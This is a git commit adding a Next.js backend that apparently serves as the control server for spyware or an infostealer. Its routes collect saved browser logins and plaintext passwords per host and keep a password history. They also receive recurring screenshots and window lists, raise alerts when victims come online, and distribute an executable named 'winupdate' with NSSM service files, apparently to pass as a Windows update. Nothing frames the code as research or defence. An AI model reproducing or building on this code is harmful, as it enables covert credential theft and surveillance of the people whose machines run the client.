first commit

This commit is contained in:
2025-06-28 15:16:06 +08:00
parent 0072220d05
commit 3c62871948
27 changed files with 2194 additions and 27 deletions
+62
View File
@@ -0,0 +1,62 @@
import { NextRequest, NextResponse } from 'next/server'
import { getFileByObjectName } from '@/lib/fileStorage'
import { prisma } from '@/lib/prisma'
import { withCors } from '@/lib/middleware'
async function handleDownload(req: NextRequest) {
try {
const pathSegments = req.nextUrl.pathname.split('/')
const fileIdIndex = pathSegments.indexOf('downloads') + 1
const fileId = pathSegments[fileIdIndex]
if (!fileId) {
return NextResponse.json({ error: '缺少文件ID' }, { status: 400 })
}
// 从数据库查找 objectName
let objectName: string | null = null
// 尝试从 Version 表查找
const version = await prisma.version.findFirst({
where: { fileId },
select: { objectName: true }
})
if (version) {
objectName = version.objectName
} else {
// 尝试从 Nssm 表查找
const nssm = await prisma.nssm.findFirst({
where: { fileId },
select: { objectName: true }
})
if (nssm) {
objectName = nssm.objectName
}
}
if (!objectName) {
return NextResponse.json({ error: '文件不存在' }, { status: 404 })
}
const file = await getFileByObjectName(objectName)
if (!file) {
return NextResponse.json({ error: '文件不存在' }, { status: 404 })
}
return new NextResponse(file.buffer, {
headers: {
'Content-Type': file.contentType || 'application/octet-stream',
'Content-Disposition': `attachment; filename=${file.filename || 'download'}`,
'Cache-Control': 'public, max-age=31536000',
}
})
} catch (error) {
console.error('下载失败:', error)
return NextResponse.json({ error: '下载失败' }, { status: 500 })
}
}
export const GET = withCors(handleDownload)
@@ -0,0 +1,168 @@
import { NextRequest, NextResponse } from 'next/server'
import { prisma } from '@/lib/prisma'
import { withCors } from '@/lib/middleware'
async function handleCredentialsPost(req: NextRequest) {
try {
const pathSegments = req.nextUrl.pathname.split('/')
const hostnameIndex = pathSegments.indexOf('hosts') + 1
const hostname = pathSegments[hostnameIndex]
if (!hostname) {
return NextResponse.json({ error: '缺少主机名' }, { status: 400 })
}
const credentialsData = await req.json()
console.log(JSON.stringify(credentialsData))
const currentTime = new Date()
if (!Array.isArray(credentialsData) || credentialsData.length < 1) {
return NextResponse.json({ error: '无效的凭据数据格式' }, { status: 400 })
}
// Extract username from the first element
const [userKey, username] = credentialsData[0]
if (userKey !== 'User' || !username) {
return NextResponse.json({ error: '无效的用户信息' }, { status: 400 })
}
// Process browser credentials
const savedCredentials = []
for (let i = 1; i < credentialsData.length; i++) {
const browserData = credentialsData[i]
if (!Array.isArray(browserData) || browserData.length < 3) {
continue
}
const [enabled, browserName, browserCredentials] = browserData
if (!enabled || !browserName || !Array.isArray(browserCredentials)) {
continue
}
// Process each credential for this browser
for (const cred of browserCredentials) {
const { URL, Login, Password } = cred
if (!URL || !Login || !Password) {
continue
}
// Try to find existing credential
const existingCredential = await prisma.credential.findUnique({
where: {
hostname_username_browser_url_login: {
hostname,
username,
browser: browserName,
url: URL,
login: Login
}
},
include: {
passwords: {
orderBy: { timestamp: 'desc' }
}
}
})
if (existingCredential) {
// Check if password is different from the latest one
const latestPassword = existingCredential.passwords[0]
// Update sync time
await prisma.credential.update({
where: { id: existingCredential.id },
data: { lastSyncTime: currentTime }
})
if (!latestPassword || latestPassword.value !== Password) {
// Add new password to history
await prisma.password.create({
data: {
credentialId: existingCredential.id,
value: Password,
timestamp: new Date()
}
})
savedCredentials.push(existingCredential)
}
} else {
// Ensure host exists first
await prisma.host.upsert({
where: { hostname },
update: {},
create: { hostname }
})
// Create new credential
const newCredential = await prisma.credential.create({
data: {
hostname,
username,
browser: browserName,
url: URL,
login: Login,
lastSyncTime: currentTime,
passwords: {
create: {
value: Password,
timestamp: new Date()
}
}
}
})
savedCredentials.push(newCredential)
}
}
}
return NextResponse.json({
message: '凭据保存成功',
count: savedCredentials.length
})
} catch (error) {
console.error('保存凭据失败:', error)
return NextResponse.json({ error: '保存凭据失败' }, { status: 500 })
}
}
async function handleCredentialsGet(req: NextRequest) {
try {
const pathSegments = req.nextUrl.pathname.split('/')
const hostnameIndex = pathSegments.indexOf('hosts') + 1
const hostname = pathSegments[hostnameIndex]
if (!hostname) {
return NextResponse.json({ error: '缺少主机名' }, { status: 400 })
}
const credentials = await prisma.credential.findMany({
where: { hostname },
include: {
passwords: {
orderBy: { timestamp: 'desc' }
}
},
orderBy: [
{ username: 'asc' },
{ browser: 'asc' },
{ url: 'asc' }
]
})
return NextResponse.json(credentials)
} catch (error) {
console.error('获取凭据失败:', error)
return NextResponse.json({ error: '获取凭据失败' }, { status: 500 })
}
}
export const POST = withCors(handleCredentialsPost)
export const GET = withCors(handleCredentialsGet)
@@ -0,0 +1,201 @@
import { NextRequest, NextResponse } from 'next/server'
import { prisma } from '@/lib/prisma'
import { storeFile } from '@/lib/fileStorage'
import { push } from '@/lib/push'
import { withCors } from '@/lib/middleware'
interface WindowInfo {
title: string
path: string
memory: number
}
const timeoutMap = new Map<string, NodeJS.Timeout>()
async function handleScreenshotUpload(req: NextRequest) {
try {
const pathSegments = req.nextUrl.pathname.split('/')
const hostnameIndex = pathSegments.indexOf('hosts') + 1
const hostname = pathSegments[hostnameIndex]
if (!hostname) {
return NextResponse.json({ error: '缺少主机名' }, { status: 400 })
}
const formData = await req.formData()
const files: File[] = []
const windowsInfo: WindowInfo[] = JSON.parse(formData.get('windows_info') as string || '[]')
// Extract files from formData
for (const [key, value] of formData.entries()) {
if (key.startsWith('screenshot_') && value instanceof File) {
files.push(value)
}
}
if (files.length === 0) {
return NextResponse.json({ error: '没有收到文件' }, { status: 400 })
}
// Process screenshots
const screenshots = await Promise.all(files.map(async (file, index) => {
const ext = file.name ? file.name.split('.').pop() : 'webp'
const filename = `${hostname}-${Date.now()}-${Math.round(Math.random() * 1E9)}.${ext}`
const buffer = Buffer.from(await file.arrayBuffer())
const storedFile = await storeFile(buffer, filename, file.type, 'screenshot', hostname)
return {
fileId: storedFile.id,
objectName: storedFile.objectName,
filename: storedFile.filename,
contentType: storedFile.contentType,
fileSize: storedFile.size,
monitorName: formData.get(`monitor_name_${index}`) as string || `Monitor ${index + 1}`
}
}))
// Ensure host exists first
await prisma.host.upsert({
where: { hostname },
update: {},
create: { hostname }
})
// Create new record
const newRecord = await prisma.record.create({
data: {
hostname,
timestamp: new Date(),
windows: {
create: windowsInfo
},
screenshots: {
create: screenshots
}
}
})
// Handle host status and notifications
const host = await prisma.host.findUnique({
where: { hostname },
select: { lastUpdate: true }
})
const lastUpdate = host?.lastUpdate || new Date(0)
if (lastUpdate.getTime() === new Date(0).getTime()) {
push(`新设备 ${hostname} 上线`)
} else if (lastUpdate.getTime() < new Date().getTime() - 1000 * 60) {
push(`设备 ${hostname} 上线`)
}
// Clear existing timeout and set new one
if (timeoutMap.has(hostname)) {
clearTimeout(timeoutMap.get(hostname)!)
}
timeoutMap.set(hostname, setTimeout(() => {
push(`设备 ${hostname} 离线`)
timeoutMap.delete(hostname)
}, 1000 * 60))
// Update host last update time
await prisma.host.upsert({
where: { hostname },
update: { lastUpdate: new Date() },
create: { hostname, lastUpdate: new Date() }
})
return NextResponse.json({
message: '上传成功',
hostname,
filesCount: files.length,
windowsCount: windowsInfo.length
})
} catch (error) {
console.error('上传失败:', error)
return NextResponse.json({ error: '上传失败' }, { status: 500 })
}
}
async function handleGetScreenshots(req: NextRequest) {
try {
const pathSegments = req.nextUrl.pathname.split('/')
const hostnameIndex = pathSegments.indexOf('hosts') + 1
const hostname = pathSegments[hostnameIndex]
if (!hostname) {
return NextResponse.json({ error: '缺少主机名' }, { status: 400 })
}
const { searchParams } = req.nextUrl
const startTimeParam = searchParams.get('startTime')
const endTimeParam = searchParams.get('endTime')
let startTime: Date | undefined
let endTime: Date | undefined
if (startTimeParam) {
const timestamp = isNaN(Number(startTimeParam)) ?
new Date(startTimeParam) :
new Date(Number(startTimeParam) * 1000)
startTime = timestamp
}
if (endTimeParam) {
const timestamp = isNaN(Number(endTimeParam)) ?
new Date(endTimeParam) :
new Date(Number(endTimeParam) * 1000)
endTime = timestamp
}
// Build query conditions
const whereClause: any = { hostname }
if (startTime || endTime) {
whereClause.timestamp = {}
if (startTime) whereClause.timestamp.gte = startTime
if (endTime) whereClause.timestamp.lte = endTime
}
// Get records
const records = await prisma.record.findMany({
where: whereClause,
include: {
windows: true,
screenshots: true
},
orderBy: {
timestamp: 'desc'
}
})
// Get host info
const host = await prisma.host.findUnique({
where: { hostname },
select: {
hostname: true,
lastUpdate: true
}
})
if (!host) {
return NextResponse.json({ error: '未找到主机记录' }, { status: 404 })
}
return NextResponse.json({
hostname,
lastUpdate: host.lastUpdate,
records,
total: records.length
})
} catch (error) {
console.error('获取记录失败:', error)
return NextResponse.json({ error: '获取记录失败' }, { status: 500 })
}
}
export const POST = withCors(handleScreenshotUpload)
export const GET = withCors(handleGetScreenshots)
@@ -0,0 +1,70 @@
import { NextRequest, NextResponse } from 'next/server'
import { prisma } from '@/lib/prisma'
import { withCors } from '@/lib/middleware'
async function handleTimeDistribution(req: NextRequest) {
try {
const pathSegments = req.nextUrl.pathname.split('/')
const hostnameIndex = pathSegments.indexOf('hosts') + 1
const hostname = pathSegments[hostnameIndex]
if (!hostname) {
return NextResponse.json({ error: '缺少主机名' }, { status: 400 })
}
// Get all records for the hostname and group by hour
const records = await prisma.record.findMany({
where: { hostname },
select: {
timestamp: true
}
})
// Group by hour
interface DistributionEntry {
timestamp: number
count: number
}
const distribution = records.reduce((acc: DistributionEntry[], record: { timestamp: Date }) => {
const timestamp = new Date(record.timestamp)
// Create hour-level timestamp (set minutes, seconds, ms to 0)
const hourTimestamp = new Date(
timestamp.getFullYear(),
timestamp.getMonth(),
timestamp.getDate(),
timestamp.getHours(),
0, 0, 0
)
const existingEntry = acc.find(entry =>
entry.timestamp === Math.floor(hourTimestamp.getTime() / 1000)
)
if (existingEntry) {
existingEntry.count++
} else {
acc.push({
timestamp: Math.floor(hourTimestamp.getTime() / 1000),
count: 1
})
}
return acc
}, [])
// Sort by timestamp
distribution.sort((a: DistributionEntry, b: DistributionEntry) => a.timestamp - b.timestamp)
return NextResponse.json({
hostname,
distribution
})
} catch (error) {
console.error('获取时间分布统计失败:', error)
return NextResponse.json({ error: '获取时间分布统计失败' }, { status: 500 })
}
}
export const GET = withCors(handleTimeDistribution)
+24
View File
@@ -0,0 +1,24 @@
import { NextRequest, NextResponse } from 'next/server'
import { prisma } from '@/lib/prisma'
import { withCors } from '@/lib/middleware'
async function handleHostsList(req: NextRequest) {
try {
const hosts = await prisma.host.findMany({
select: {
hostname: true,
lastUpdate: true
},
orderBy: {
lastUpdate: 'desc'
}
})
return NextResponse.json(hosts)
} catch (error) {
console.error('获取主机列表失败:', error)
return NextResponse.json({ error: '获取主机列表失败' }, { status: 500 })
}
}
export const GET = withCors(handleHostsList)
+44
View File
@@ -0,0 +1,44 @@
import { NextRequest, NextResponse } from 'next/server'
import { getFileByObjectName } from '@/lib/fileStorage'
import { prisma } from '@/lib/prisma'
import { withCors } from '@/lib/middleware'
async function handleScreenshotFile(req: NextRequest) {
try {
const pathSegments = req.nextUrl.pathname.split('/')
const fileIdIndex = pathSegments.indexOf('screenshots') + 1
const fileId = pathSegments[fileIdIndex]
if (!fileId) {
return NextResponse.json({ error: '缺少文件ID' }, { status: 400 })
}
// 从数据库查找 objectName
const screenshot = await prisma.screenshot.findFirst({
where: { fileId },
select: { objectName: true }
})
if (!screenshot) {
return NextResponse.json({ error: '截图不存在' }, { status: 404 })
}
const file = await getFileByObjectName(screenshot.objectName)
if (!file) {
return NextResponse.json({ error: '文件不存在' }, { status: 404 })
}
return new NextResponse(file.buffer, {
headers: {
'Content-Type': file.contentType || 'image/webp',
'Cache-Control': 'public, max-age=31536000',
}
})
} catch (error) {
console.error('获取截图失败:', error)
return NextResponse.json({ error: '获取截图失败' }, { status: 500 })
}
}
export const GET = withCors(handleScreenshotFile)
+63
View File
@@ -0,0 +1,63 @@
import { NextRequest, NextResponse } from 'next/server'
import { prisma } from '@/lib/prisma'
import { storeFile } from '@/lib/fileStorage'
import { withCors } from '@/lib/middleware'
import { createHash } from 'crypto'
async function handleVersionUpload(req: NextRequest) {
try {
const formData = await req.formData()
const file = formData.get('file') as File
const version = formData.get('version') as string
if (!file || !version) {
return NextResponse.json({ error: '缺少文件或版本号' }, { status: 400 })
}
const buffer = Buffer.from(await file.arrayBuffer())
// Calculate SHA-256
const hash = createHash('sha256')
hash.update(buffer)
const checksum = hash.digest('hex')
// Store file
const filename = `winupdate-${version}-${Date.now()}.exe`
const storedFile = await storeFile(buffer, filename, 'application/x-msdownload', 'version')
// Update all versions to not be latest
await prisma.version.updateMany({
data: { isLatest: false }
})
// Create new version record
const newVersion = await prisma.version.create({
data: {
version,
fileId: storedFile.id,
objectName: storedFile.objectName,
filename: storedFile.filename,
contentType: storedFile.contentType,
fileSize: storedFile.size,
checksum,
isLatest: true
}
})
const protocol = req.headers.get('x-forwarded-proto') || 'http'
const host = req.headers.get('host')
const downloadUrl = `${protocol}://${host}/api/downloads/${storedFile.id}`
return NextResponse.json({
version,
download_url: downloadUrl,
checksum
})
} catch (error) {
console.error('上传版本失败:', error)
return NextResponse.json({ error: '上传失败' }, { status: 500 })
}
}
export const POST = withCors(handleVersionUpload)
+31
View File
@@ -0,0 +1,31 @@
import { NextRequest, NextResponse } from 'next/server'
import { prisma } from '@/lib/prisma'
import { withCors } from '@/lib/middleware'
async function handleGetVersion(req: NextRequest) {
try {
const latestVersion = await prisma.version.findFirst({
where: { isLatest: true }
})
if (!latestVersion) {
return NextResponse.json({ error: 'No version found' }, { status: 404 })
}
const protocol = req.headers.get('x-forwarded-proto') || 'http'
const host = req.headers.get('host')
const downloadUrl = `${protocol}://${host}/api/downloads/${latestVersion.fileId}`
return NextResponse.json({
version: latestVersion.version,
download_url: downloadUrl,
checksum: latestVersion.checksum
})
} catch (error) {
console.error('获取版本信息失败:', error)
return NextResponse.json({ error: '获取版本信息失败' }, { status: 500 })
}
}
export const GET = withCors(handleGetVersion)